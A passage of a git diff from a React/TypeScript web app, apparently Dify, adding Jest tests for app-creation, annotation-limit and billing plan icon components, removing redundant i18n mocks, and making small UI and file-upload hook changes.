+      fireEvent.click(screen.getByText('app.importDSL'))
+      fireEvent.click(screen.getByTestId('success-dsl-modal'))
+
+      expect(mockOnPlanInfoChanged).toHaveBeenCalled()
+      expect(mockOnSuccess).toHaveBeenCalled()
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have correct card container styling', () => {
+      const { container } = render(<CreateAppCard ref={defaultRef} />)
+      const card = container.firstChild as HTMLElement
+
+      expect(card).toHaveClass('h-[160px]', 'rounded-xl')
+    })
+
+    it('should have proper button styling', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      const buttons = screen.getAllByRole('button')
+      buttons.forEach((button) => {
+        expect(button).toHaveClass('cursor-pointer')
+      })
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple modal opens/closes', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      // Open and close create modal
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+      fireEvent.click(screen.getByTestId('close-create-modal'))
+
+      // Open and close template dialog
+      fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
+      fireEvent.click(screen.getByTestId('close-template-dialog'))
+
+      // Open and close DSL modal
+      fireEvent.click(screen.getByText('app.importDSL'))
+      fireEvent.click(screen.getByTestId('close-dsl-modal'))
+
+      // No modals should be visible
+      expect(screen.queryByTestId('create-app-modal')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('create-template-dialog')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('create-dsl-modal')).not.toBeInTheDocument()
+    })
+
+    it('should handle onSuccess not being provided', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+      // This should not throw an error
+      expect(() => {
+        fireEvent.click(screen.getByTestId('success-create-modal'))
+      }).not.toThrow()
+
+      expect(mockOnPlanInfoChanged).toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx b/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx
index 94c80687ed..ab133d67af 100644
--- a/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx
+++ b/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx
@@ -218,7 +218,7 @@ const ChatWrapper = () => {
       )
     }
     return (
-      <div className={cn('flex h-[50vh] flex-col items-center justify-center gap-3 py-12')}>
+      <div className={cn('flex min-h-[50vh] flex-col items-center justify-center gap-3 py-12')}>
         <AppIcon
           size='xl'
           iconType={appData?.site.icon_type}
diff --git a/web/app/components/base/chat/chat/chat-input-area/index.tsx b/web/app/components/base/chat/chat/chat-input-area/index.tsx
index 7d08b84b8e..5004bb2a92 100644
--- a/web/app/components/base/chat/chat/chat-input-area/index.tsx
+++ b/web/app/components/base/chat/chat/chat-input-area/index.tsx
@@ -79,7 +79,7 @@ const ChatInputArea = ({
     handleDropFile,
     handleClipboardPasteFile,
     isDragActive,
-  } = useFile(visionConfig!)
+  } = useFile(visionConfig!, false)
   const { checkInputsForm } = useCheckInputsForms()
   const historyRef = useRef([''])
   const [currentIndex, setCurrentIndex] = useState(-1)
diff --git a/web/app/components/base/chat/embedded-chatbot/chat-wrapper.tsx b/web/app/components/base/chat/embedded-chatbot/chat-wrapper.tsx
index b0a880d78f..a07e6217b0 100644
--- a/web/app/components/base/chat/embedded-chatbot/chat-wrapper.tsx
+++ b/web/app/components/base/chat/embedded-chatbot/chat-wrapper.tsx
@@ -208,7 +208,7 @@ const ChatWrapper = () => {
       )
     }
     return (
-      <div className={cn('flex h-[50vh] flex-col items-center justify-center gap-3 py-12', isMobile ? 'min-h-[30vh] py-0' : 'h-[50vh]')}>
+      <div className={cn('flex min-h-[50vh] flex-col items-center justify-center gap-3 py-12', isMobile ? 'min-h-[30vh] py-0' : 'h-[50vh]')}>
         <AppIcon
           size='xl'
           iconType={appData?.site.icon_type}
diff --git a/web/app/components/base/drawer/index.spec.tsx b/web/app/components/base/drawer/index.spec.tsx
index 87289cd869..666bd501ac 100644
--- a/web/app/components/base/drawer/index.spec.tsx
+++ b/web/app/components/base/drawer/index.spec.tsx
@@ -6,13 +6,6 @@ import type { IDrawerProps } from './index'
 // Capture dialog onClose for testing
 let capturedDialogOnClose: (() => void) | null = null
 
-// Mock react-i18next
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 // Mock @headlessui/react
 jest.mock('@headlessui/react', () => ({
   Dialog: ({ children, open, onClose, className, unmount }: {
diff --git a/web/app/components/base/file-uploader/hooks.ts b/web/app/components/base/file-uploader/hooks.ts
index baef5ff7d8..2e72574cfb 100644
--- a/web/app/components/base/file-uploader/hooks.ts
+++ b/web/app/components/base/file-uploader/hooks.ts
@@ -47,7 +47,7 @@ export const useFileSizeLimit = (fileUploadConfig?: FileUploadConfigResponse) =>
   }
 }
 
-export const useFile = (fileConfig: FileUpload) => {
+export const useFile = (fileConfig: FileUpload, noNeedToCheckEnable = true) => {
   const { t } = useTranslation()
   const { notify } = useToastContext()
   const fileStore = useFileStore()
@@ -247,7 +247,7 @@ export const useFile = (fileConfig: FileUpload) => {
 
   const handleLocalFileUpload = useCallback((file: File) => {
     // Check file upload enabled
-    if (!fileConfig.enabled) {
+    if (!noNeedToCheckEnable && !fileConfig.enabled) {
       notify({ type: 'error', message: t('common.fileUploader.uploadDisabled') })
       return
     }
@@ -303,7 +303,7 @@ export const useFile = (fileConfig: FileUpload) => {
       false,
     )
     reader.readAsDataURL(file)
-  }, [checkSizeLimit, notify, t, handleAddFile, handleUpdateFile, params.token, fileConfig?.allowed_file_types, fileConfig?.allowed_file_extensions, fileConfig?.enabled])
+  }, [noNeedToCheckEnable, checkSizeLimit, notify, t, handleAddFile, handleUpdateFile, params.token, fileConfig?.allowed_file_types, fileConfig?.allowed_file_extensions, fileConfig?.enabled])
 
   const handleClipboardPasteFile = useCallback((e: ClipboardEvent<HTMLTextAreaElement>) => {
     const file = e.clipboardData?.files[0]
diff --git a/web/app/components/base/form/components/label.spec.tsx b/web/app/components/base/form/components/label.spec.tsx
index b2dc98a21e..12ab9e335b 100644
--- a/web/app/components/base/form/components/label.spec.tsx
+++ b/web/app/components/base/form/components/label.spec.tsx
@@ -1,12 +1,6 @@
 import { fireEvent, render, screen } from '@testing-library/react'
 import Label from './label'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 describe('Label Component', () => {
   const defaultProps = {
     htmlFor: 'test-input',
diff --git a/web/app/components/base/input-number/index.spec.tsx b/web/app/components/base/input-number/index.spec.tsx
index 75d19ecb6e..28db10e86c 100644
--- a/web/app/components/base/input-number/index.spec.tsx
+++ b/web/app/components/base/input-number/index.spec.tsx
@@ -1,12 +1,6 @@
 import { fireEvent, render, screen } from '@testing-library/react'
 import { InputNumber } from './index'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 describe('InputNumber Component', () => {
   const defaultProps = {
     onChange: jest.fn(),
diff --git a/web/app/components/billing/annotation-full/index.spec.tsx b/web/app/components/billing/annotation-full/index.spec.tsx
new file mode 100644
index 0000000000..0caa6a0b57
--- /dev/null
+++ b/web/app/components/billing/annotation-full/index.spec.tsx
@@ -0,0 +1,65 @@
+import { render, screen } from '@testing-library/react'
+import AnnotationFull from './index'
+
+let mockUsageProps: { className?: string } | null = null
+jest.mock('./usage', () => ({
+  __esModule: true,
+  default: (props: { className?: string }) => {
+    mockUsageProps = props
+    return (
+      <div data-testid='usage-component' data-classname={props.className ?? ''}>
+        usage
+      </div>
+    )
+  },
+}))
+
+let mockUpgradeBtnProps: { loc?: string } | null = null
+jest.mock('../upgrade-btn', () => ({
+  __esModule: true,
+  default: (props: { loc?: string }) => {
+    mockUpgradeBtnProps = props
+    return (
+      <button type='button' data-testid='upgrade-btn'>
+        {props.loc}
+      </button>
+    )
+  },
+}))
+
+describe('AnnotationFull', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockUsageProps = null
+    mockUpgradeBtnProps = null
+  })
+
+  // Rendering marketing copy with action button
+  describe('Rendering', () => {
+    it('should render tips when rendered', () => {
+      // Act
+      render(<AnnotationFull />)
+
+      // Assert
+      expect(screen.getByText('billing.annotatedResponse.fullTipLine1')).toBeInTheDocument()
+      expect(screen.getByText('billing.annotatedResponse.fullTipLine2')).toBeInTheDocument()
+    })
+
+    it('should render upgrade button when rendered', () => {
+      // Act
+      render(<AnnotationFull />)
+
+      // Assert
+      expect(screen.getByTestId('upgrade-btn')).toBeInTheDocument()
+    })
+
+    it('should render Usage component when rendered', () => {
+      // Act
+      render(<AnnotationFull />)
+
+      // Assert
+      const usageComponent = screen.getByTestId('usage-component')
+      expect(usageComponent).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/billing/annotation-full/modal.spec.tsx b/web/app/components/billing/annotation-full/modal.spec.tsx
new file mode 100644
index 0000000000..150b2ced08
--- /dev/null
+++ b/web/app/components/billing/annotation-full/modal.spec.tsx
@@ -0,0 +1,113 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import AnnotationFullModal from './modal'
+
+let mockUsageProps: { className?: string } | null = null
+jest.mock('./usage', () => ({
+  __esModule: true,
+  default: (props: { className?: string }) => {
+    mockUsageProps = props
+    return (
+      <div data-testid='usage-component' data-classname={props.className ?? ''}>
+        usage
+      </div>
+    )
+  },
+}))
+
+let mockUpgradeBtnProps: { loc?: string } | null = null
+jest.mock('../upgrade-btn', () => ({
+  __esModule: true,
+  default: (props: { loc?: string }) => {
+    mockUpgradeBtnProps = props
+    return (
+      <button type='button' data-testid='upgrade-btn'>
+        {props.loc}
+      </button>
+    )
+  },
+}))
+
+type ModalSnapshot = {
+  isShow: boolean
+  closable?: boolean
+  className?: string
+}
+let mockModalProps: ModalSnapshot | null = null
+jest.mock('../../base/modal', () => ({
+  __esModule: true,
+  default: ({ isShow, children, onClose, closable, className }: { isShow: boolean; children: React.ReactNode; onClose: () => void; closable?: boolean; className?: string }) => {
+    mockModalProps = {
+      isShow,
+      closable,
+      className,
+    }
+    if (!isShow)
+      return null
+    return (
+      <div data-testid='annotation-full-modal' data-classname={className ?? ''}>
+        {closable && (
+          <button type='button' data-testid='mock-modal-close' onClick={onClose}>
+            close
+          </button>
+        )}
+        {children}
+      </div>
+    )
+  },
+}))
+
+describe('AnnotationFullModal', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockUsageProps = null
+    mockUpgradeBtnProps = null
+    mockModalProps = null
+  })
+
+  // Rendering marketing copy inside modal
+  describe('Rendering', () => {
+    it('should display main info when visible', () => {
+      // Act
+      render(<AnnotationFullModal show onHide={jest.fn()} />)
+
+      // Assert
+      expect(screen.getByText('billing.annotatedResponse.fullTipLine1')).toBeInTheDocument()
+      expect(screen.getByText('billing.annotatedResponse.fullTipLine2')).toBeInTheDocument()
+      expect(screen.getByTestId('usage-component')).toHaveAttribute('data-classname', 'mt-4')
+      expect(screen.getByTestId('upgrade-btn')).toHaveTextContent('annotation-create')
+      expect(mockUpgradeBtnProps?.loc).toBe('annotation-create')
+      expect(mockModalProps).toEqual(expect.objectContaining({
+        isShow: true,
+        closable: true,
+        className: '!p-0',
+      }))
+    })
+  })
+
+  // Controlling modal visibility
+  describe('Visibility', () => {
+    it('should not render content when hidden', () => {
+      // Act
+      const { container } = render(<AnnotationFullModal show={false} onHide={jest.fn()} />)
+
+      // Assert
+      expect(container).toBeEmptyDOMElement()
+      expect(mockModalProps).toEqual(expect.objectContaining({ isShow: false }))
+    })
+  })
+
+  // Handling close interactions
+  describe('Close handling', () => {
+    it('should trigger onHide when close control is clicked', () => {
+      // Arrange
+      const onHide = jest.fn()
+
+      // Act
+      render(<AnnotationFullModal show onHide={onHide} />)
+      fireEvent.click(screen.getByTestId('mock-modal-close'))
+
+      // Assert
+      expect(onHide).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/billing/plan-upgrade-modal/index.spec.tsx b/web/app/components/billing/plan-upgrade-modal/index.spec.tsx
index 324043d439..cd1be7cc6c 100644
--- a/web/app/components/billing/plan-upgrade-modal/index.spec.tsx
+++ b/web/app/components/billing/plan-upgrade-modal/index.spec.tsx
@@ -5,12 +5,6 @@ import PlanUpgradeModal from './index'
 
 const mockSetShowPricingModal = jest.fn()
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('@/app/components/base/modal', () => {
   const MockModal = ({ isShow, children }: { isShow: boolean; children: React.ReactNode }) => (
     isShow ? <div data-testid="plan-upgrade-modal">{children}</div> : null
diff --git a/web/app/components/billing/plan-upgrade-modal/index.tsx b/web/app/components/billing/plan-upgrade-modal/index.tsx
index 4f5d1ed3a6..f7e19b7621 100644
--- a/web/app/components/billing/plan-upgrade-modal/index.tsx
+++ b/web/app/components/billing/plan-upgrade-modal/index.tsx
@@ -33,7 +33,10 @@ const PlanUpgradeModal: FC<Props> = ({
 
   const handleUpgrade = useCallback(() => {
     onClose()
-    onUpgrade ? onUpgrade() : setShowPricingModal()
+    if (onUpgrade)
+      onUpgrade()
+    else
+      setShowPricingModal()
   }, [onClose, onUpgrade, setShowPricingModal])
 
   return (
diff --git a/web/app/components/billing/plan/assets/enterprise.spec.tsx b/web/app/components/billing/plan/assets/enterprise.spec.tsx
new file mode 100644
index 0000000000..831370f5d9
--- /dev/null
+++ b/web/app/components/billing/plan/assets/enterprise.spec.tsx
@@ -0,0 +1,249 @@
+import { render } from '@testing-library/react'
+import Enterprise from './enterprise'
+
+describe('Enterprise Icon Component', () => {
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(<Enterprise />)
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render an SVG element', () => {
+      const { container } = render(<Enterprise />)
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should have correct SVG attributes', () => {
+      const { container } = render(<Enterprise />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+      expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
+      expect(svg).toHaveAttribute('fill', 'none')
+    })
+
+    it('should render only path elements', () => {
+      const { container } = render(<Enterprise />)
+      const paths = container.querySelectorAll('path')
+      const rects = container.querySelectorAll('rect')
+
+      // Enterprise icon uses only path elements, no rects
+      expect(paths.length).toBeGreaterThan(0)
+      expect(rects).toHaveLength(0)
+    })
+
+    it('should render elements with correct fill colors', () => {
+      const { container } = render(<Enterprise />)
+      const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      expect(blueElements.length).toBeGreaterThan(0)
+      expect(quaternaryElements.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Component Behavior', () => {
+    it('should render consistently across multiple renders', () => {
+      const { container: container1 } = render(<Enterprise />)
+      const { container: container2 } = render(<Enterprise />)
+
+      expect(container1.innerHTML).toBe(container2.innerHTML)
+    })
+
+    it('should maintain stable output without memoization', () => {
+      const { container, rerender } = render(<Enterprise />)
+      const firstRender = container.innerHTML
+
+      rerender(<Enterprise />)
+      const secondRender = container.innerHTML
+
+      expect(firstRender).toBe(secondRender)
+    })
+
+    it('should be a functional component', () => {
+      expect(typeof Enterprise).toBe('function')
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should render as a decorative image', () => {
+      const { container } = render(<Enterprise />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should be usable in accessible contexts', () => {
+      const { container } = render(
+        <div role="img" aria-label="Enterprise plan">
+          <Enterprise />
+        </div>,
+      )
+
+      const wrapper = container.querySelector('[role="img"]')
+      expect(wrapper).toBeInTheDocument()
+      expect(wrapper).toHaveAttribute('aria-label', 'Enterprise plan')
+    })
+
+    it('should support custom wrapper accessibility', () => {
+      const { container } = render(
+        <button aria-label="Select Enterprise plan">
+          <Enterprise />
+        </button>,
+      )
+
+      const button = container.querySelector('button')
+      expect(button).toHaveAttribute('aria-label', 'Select Enterprise plan')
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple instances without conflicts', () => {
+      const { container } = render(
+        <>
+          <Enterprise />
+          <Enterprise />
+          <Enterprise />
+        </>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(3)
+    })
+
+    it('should maintain structure when wrapped in other elements', () => {
+      const { container } = render(
+        <div>
+          <span>
+            <Enterprise />
+          </span>
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+      expect(svg?.getAttribute('width')).toBe('32')
+    })
+
+    it('should render correctly in grid layout', () => {
+      const { container } = render(
+        <div style={{ display: 'grid' }}>
+          <Enterprise />
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should render correctly in flex layout', () => {
+      const { container } = render(
+        <div style={{ display: 'flex' }}>
+          <Enterprise />
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+  })
+
+  describe('CSS Variables', () => {
+    it('should use CSS custom properties for colors', () => {
+      const { container } = render(<Enterprise />)
+      const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
+
+      expect(elementsWithCSSVars.length).toBeGreaterThan(0)
+    })
+
+    it('should have opacity attributes on quaternary path elements', () => {
+      const { container } = render(<Enterprise />)
+      const quaternaryPaths = container.querySelectorAll('path[fill="var(--color-text-quaternary)"]')
+
+      quaternaryPaths.forEach((path) => {
+        expect(path).toHaveAttribute('opacity', '0.18')
+      })
+    })
+
+    it('should not have opacity on blue inverted path elements', () => {
+      const { container } = render(<Enterprise />)
+      const bluePaths = container.querySelectorAll('path[fill="var(--color-saas-dify-blue-inverted)"]')
+
+      bluePaths.forEach((path) => {
+        expect(path).not.toHaveAttribute('opacity')
+      })
+    })
+
+    it('should use correct CSS variable names', () => {
+      const { container } = render(<Enterprise />)
+      const paths = container.querySelectorAll('path')
+
+      paths.forEach((path) => {
+        const fill = path.getAttribute('fill')
+        if (fill?.includes('var('))
+          expect(fill).toMatch(/var\(--(color-saas-dify-blue-inverted|color-text-quaternary)\)/)
+      })
+    })
+  })
+
+  describe('SVG Structure', () => {
+    it('should have correct path element structure', () => {
+      const { container } = render(<Enterprise />)
+      const paths = container.querySelectorAll('path')
+
+      paths.forEach((path) => {
+        expect(path).toHaveAttribute('d')
+        expect(path).toHaveAttribute('fill')
+      })
+    })
+
+    it('should have valid path data', () => {
+      const { container } = render(<Enterprise />)
+      const paths = container.querySelectorAll('path')
+
+      paths.forEach((path) => {
+        const d = path.getAttribute('d')
+        expect(d).toBeTruthy()
+        expect(d?.length).toBeGreaterThan(0)
+      })
+    })
+
+    it('should maintain proper element count', () => {
+      const { container } = render(<Enterprise />)
+      const svg = container.querySelector('svg')
+
+      expect(svg?.childNodes.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Export', () => {
+    it('should be the default export', () => {
+      expect(Enterprise).toBeDefined()
+      expect(typeof Enterprise).toBe('function')
+    })
+
+    it('should return valid JSX', () => {
+      const result = Enterprise()
+      expect(result).toBeTruthy()
+      expect(result.type).toBe('svg')
+    })
+  })
+
+  describe('Performance', () => {
+    it('should render efficiently for multiple instances', () => {
+      const { container } = render(
+        <div>
+          {Array.from({ length: 10 }).map((_, i) => (
+            <Enterprise key={i} />
+          ))}
+        </div>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(10)
+    })
+  })
+})
diff --git a/web/app/components/billing/plan/assets/index.spec.tsx b/web/app/components/billing/plan/assets/index.spec.tsx
new file mode 100644
index 0000000000..b9b8763fb0
--- /dev/null
+++ b/web/app/components/billing/plan/assets/index.spec.tsx
@@ -0,0 +1,312 @@
+import { render } from '@testing-library/react'
+import { Enterprise, Professional, Sandbox, Team } from './index'
+
+// Import real components for comparison
+import SandboxDirect from './sandbox'
+import ProfessionalDirect from './professional'
+import TeamDirect from './team'
+import EnterpriseDirect from './enterprise'
+
+describe('Billing Plan Assets - Integration Tests', () => {
+  describe('Exports', () => {
+    it('should export Sandbox component', () => {
+      expect(Sandbox).toBeDefined()
+      // Sandbox is wrapped with React.memo, so it's an object
+      expect(typeof Sandbox).toMatch(/function|object/)
+    })
+
+    it('should export Professional component', () => {
+      expect(Professional).toBeDefined()
+      expect(typeof Professional).toBe('function')
+    })
+
+    it('should export Team component', () => {
+      expect(Team).toBeDefined()
+      expect(typeof Team).toBe('function')
+    })
+
+    it('should export Enterprise component', () => {
+      expect(Enterprise).toBeDefined()
+      expect(typeof Enterprise).toBe('function')
+    })
+
+    it('should export all four components', () => {
+      const exports = { Sandbox, Professional, Team, Enterprise }
+      expect(Object.keys(exports)).toHaveLength(4)
+    })
+  })
+
+  describe('Export Integrity', () => {
+    it('should export the correct Sandbox component', () => {
+      expect(Sandbox).toBe(SandboxDirect)
+    })
+
+    it('should export the correct Professional component', () => {
+      expect(Professional).toBe(ProfessionalDirect)
+    })
+
+    it('should export the correct Team component', () => {
+      expect(Team).toBe(TeamDirect)
+    })
+
+    it('should export the correct Enterprise component', () => {
+      expect(Enterprise).toBe(EnterpriseDirect)
+    })
+  })
+
+  describe('Rendering Integration', () => {
+    it('should render all components without conflicts', () => {
+      const { container } = render(
+        <div>
+          <Sandbox />
+          <Professional />
+          <Team />
+          <Enterprise />
+        </div>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(4)
+    })
+
+    it('should render Sandbox component correctly', () => {
+      const { container } = render(<Sandbox />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+    })
+
+    it('should render Professional component correctly', () => {
+      const { container } = render(<Professional />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+    })
+
+    it('should render Team component correctly', () => {
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+    })
+
+    it('should render Enterprise component correctly', () => {
+      const { container } = render(<Enterprise />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+    })
+  })
+
+  describe('Visual Consistency', () => {
+    it('should maintain consistent SVG dimensions across all components', () => {
+      const components = [
+        <Sandbox key="sandbox" />,
+        <Professional key="professional" />,
+        <Team key="team" />,
+        <Enterprise key="enterprise" />,
+      ]
+
+      components.forEach((component) => {
+        const { container } = render(component)
+        const svg = container.querySelector('svg')
+
+        expect(svg).toHaveAttribute('width', '32')
+        expect(svg).toHaveAttribute('height', '32')
+        expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
+      })
+    })
+
+    it('should use consistent color variables across all components', () => {
+      const components = [Sandbox, Professional, Team, Enterprise]
+
+      components.forEach((Component) => {
+        const { container } = render(<Component />)
+        const elementsWithBlue = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+        const elementsWithQuaternary = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+        expect(elementsWithBlue.length).toBeGreaterThan(0)
+        expect(elementsWithQuaternary.length).toBeGreaterThan(0)
+      })
+    })
+  })
+
+  describe('Component Independence', () => {
+    it('should render components independently without side effects', () => {
+      const { container: container1 } = render(<Sandbox />)
+      const svg1 = container1.querySelector('svg')
+
+      const { container: container2 } = render(<Professional />)
+      const svg2 = container2.querySelector('svg')
+
+      // Components should not affect each other
+      expect(svg1).toBeInTheDocument()
+      expect(svg2).toBeInTheDocument()
+      expect(svg1).not.toBe(svg2)
+    })
+
+    it('should allow selective imports', () => {
+      // Verify that importing only one component works
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+    })
+  })
+
+  describe('Bundle Export Pattern', () => {
+    it('should follow barrel export pattern correctly', () => {
+      // All exports should be available from the index
+      expect(Sandbox).toBeDefined()
+      expect(Professional).toBeDefined()
+      expect(Team).toBeDefined()
+      expect(Enterprise).toBeDefined()
+    })
+
+    it('should maintain tree-shaking compatibility', () => {
+      // Each export should be independently usable
+      const components = [Sandbox, Professional, Team, Enterprise]
+
+      components.forEach((Component) => {
+        // Component can be function or object (React.memo wraps it)
+        expect(['function', 'object']).toContain(typeof Component)
+        const { container } = render(<Component />)
+        expect(container.querySelector('svg')).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Real-world Usage Patterns', () => {
+    it('should support rendering in a plan selector', () => {
+      const { container } = render(
+        <div className="plan-selector">
+          <button className="plan-option">
+            <Sandbox />
+            <span>Sandbox</span>
+          </button>
+          <button className="plan-option">
+            <Professional />
+            <span>Professional</span>
+          </button>
+          <button className="plan-option">
+            <Team />
+            <span>Team</span>
+          </button>
+          <button className="plan-option">
+            <Enterprise />
+            <span>Enterprise</span>
+          </button>
+        </div>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      const buttons = container.querySelectorAll('button')
+
+      expect(svgs).toHaveLength(4)
+      expect(buttons).toHaveLength(4)
+    })
+
+    it('should support rendering in a comparison table', () => {
+      const { container } = render(
+        <table>
+          <thead>
+            <tr>
+              <th><Sandbox /></th>
+              <th><Professional /></th>
+              <th><Team /></th>
+              <th><Enterprise /></th>
+            </tr>
+          </thead>
+        </table>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(4)
+    })
+
+    it('should support conditional rendering', () => {
+      const renderPlan = (planType: 'sandbox' | 'professional' | 'team' | 'enterprise') => (
+        <div>
+          {planType === 'sandbox' && <Sandbox />}
+          {planType === 'professional' && <Professional />}
+          {planType === 'team' && <Team />}
+          {planType === 'enterprise' && <Enterprise />}
+        </div>
+      )
+
+      const { container } = render(renderPlan('team'))
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(1)
+    })
+
+    it('should support dynamic rendering from array', () => {
+      const plans = [
+        { id: 'sandbox', Icon: Sandbox },
+        { id: 'professional', Icon: Professional },
+        { id: 'team', Icon: Team },
+        { id: 'enterprise', Icon: Enterprise },
+      ]
+
+      const { container } = render(
+        <div>
+          {plans.map(({ id, Icon }) => (
+            <div key={id}>
+              <Icon />
+            </div>
+          ))}
+        </div>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(4)
+    })
+  })
+
+  describe('Performance', () => {
+    it('should handle rapid re-renders efficiently', () => {
+      const { container, rerender } = render(
+        <div>
+          <Sandbox />
+          <Professional />
+        </div>,
+      )
+
+      // Simulate multiple re-renders
+      for (let i = 0; i < 5; i++) {
+        rerender(
+          <div>
+            <Team />
+            <Enterprise />
+          </div>,
+        )
+      }
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(2)
+    })
+
+    it('should handle large lists efficiently', () => {
+      const { container } = render(
+        <div>
+          {Array.from({ length: 20 }).map((_, i) => {
+            const components = [Sandbox, Professional, Team, Enterprise]
+            const Component = components[i % 4]
+            return <Component key={i} />
+          })}
+        </div>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(20)
+    })
+  })
+})
diff --git a/web/app/components/billing/plan/assets/professional.spec.tsx b/web/app/components/billing/plan/assets/professional.spec.tsx
new file mode 100644
index 0000000000..0fb84e2870
--- /dev/null
+++ b/web/app/components/billing/plan/assets/professional.spec.tsx
@@ -0,0 +1,172 @@
+import { render } from '@testing-library/react'
+import Professional from './professional'
+
+describe('Professional Icon Component', () => {
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(<Professional />)
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render an SVG element', () => {
+      const { container } = render(<Professional />)
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should have correct SVG attributes', () => {
+      const { container } = render(<Professional />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+      expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
+      expect(svg).toHaveAttribute('fill', 'none')
+    })
+
+    it('should render correct number of SVG rect elements', () => {
+      const { container } = render(<Professional />)
+      const rects = container.querySelectorAll('rect')
+
+      // Based on the component structure, it should have multiple rect elements
+      expect(rects.length).toBeGreaterThan(0)
+    })
+
+    it('should render elements with correct fill colors', () => {
+      const { container } = render(<Professional />)
+      const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      expect(blueElements.length).toBeGreaterThan(0)
+      expect(quaternaryElements.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Component Behavior', () => {
+    it('should render consistently across multiple renders', () => {
+      const { container: container1 } = render(<Professional />)
+      const { container: container2 } = render(<Professional />)
+
+      expect(container1.innerHTML).toBe(container2.innerHTML)
+    })
+
+    it('should not be wrapped with React.memo', () => {
+      // Professional component is exported directly without React.memo
+      // This test ensures the component renders correctly without memoization
+      const { container, rerender } = render(<Professional />)
+      const firstRender = container.innerHTML
+
